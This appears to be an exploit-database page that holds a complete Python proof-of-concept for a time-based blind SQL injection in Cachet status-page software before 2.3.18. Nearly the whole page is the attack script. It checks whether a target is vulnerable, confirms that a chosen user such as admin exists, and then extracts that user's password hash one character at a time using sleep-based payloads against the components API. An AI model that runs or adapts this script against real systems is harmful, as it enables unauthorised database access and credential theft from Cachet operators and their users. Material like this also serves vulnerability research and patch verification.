4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# File name          : exploit.py
# Author             : Worty (@_Worty)
# Date created       : 16 Mar 2022

import requests
import time
import argparse
import validators
import sys


class PerformSQLi(object):
    def __init__(self, url, user, time):
        self.url = url + "api/v1/components?name=1&1[0]=&1[1]=a&1[2]=&1[3]="
        self.time = int(time)
        self.pwd_length = 0
        self.password = ''
        self.user = user

    def check_user_exist(self):
        payload = f"or+'a'='a') and (select case when substring(username from 1 for 1)='{self.user[0]}' then sleep({self.time}) else true end from users where username='{self.user}') --"
        start = int(time.time())
        requests.get(self.url + payload)
        if int(time.time()) - start >= self.time:
            print(f"[+] User {self.user} exist !")
            return True
        else:
            print(f"[-] User {self.user} doesn't exist")
            return False

    def test_vulnerable(self):
        payload = f"or+'a'='a') and (select sleep(5))--"
        start = int(time.time())
        requests.get(self.url + payload)
        if int(time.time()) - start >= 5:
            print("[+] Target is vulnerable !")
            return True
        else:
            print("[-] Target is not vulnerable !")
            return False

    def get_pwd_length(self):
        running = True
        while running:
            payload = f"or+'a'='a') and (select case when length(password)={self.pwd_length} then sleep({self.time}) else true end from users where username='{self.user}') --"
            start = int(time.time())
            requests.get(self.url + payload)
            if int(time.time()) - start >= self.time:
                print(f"[+] Found password length: {self.pwd_length}")
                running = False
            else:
                self.pwd_length += 1

    def get_hash_pwd(self):
        char = 32
        tmp_length = 1
        print(f"[+] Leaking {self.user} password: ", end='')
        sys.stdout.flush()

        running = True
        while running:
            payload = f"or+'a'='a') and (select case when binary(substring(password from {tmp_length} for 1))=binary('{chr(char)}') then sleep({self.time}) else true end from users where username='{self.user}') --"
            start = int(time.time())
            requests.get(self.url + payload).json()
            if int(time.time()) - start >= self.time:
                if tmp_length != self.pwd_length:
                    self.password += chr(char)
                    print(chr(char), end='')
                    sys.stdout.flush()
                    tmp_length += 1
                    char = 32
                else:
                    self.password += chr(char)
                    print(chr(char), end='')
                    sys.stdout.flush()
                    running = False
            else:
                char += 1
        print(f"\n[+] {self.user}:{self.password} !")

    def run(self):
        if self.test_vulnerable():
            if self.check_user_exist():
                print("[+] Running exploit")
                self.get_pwd_length()
                self.get_hash_pwd()
        return


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='This script is used to exploit SQL injection on GET parameter name of Cachet version prior to 2.3.18 and 2.4.0-dev')
    parser.add_argument('-U', '--user', help='User wanted password (default admin)', default='admin')
    parser.add_argument('-t', '--time', help='Time to sleep if query is true (default 2)', type=int, default=2)
    requiredNamed = parser.add_argument_group('required named arguments')
    parser.add_argument('-u', '--url', help='Url to exploit', required=True)
    parsed_args = parser.parse_args()

    if validators.url(parsed_args.url):
        if not parsed_args.url.endswith("/"):
            parsed_args.url += "/"
        exploit = PerformSQLi(url=parsed_args.url, user=parsed_args.user, time=parsed_args.time)
        exploit.run()
    else:
        print("[-] Invalid url provided")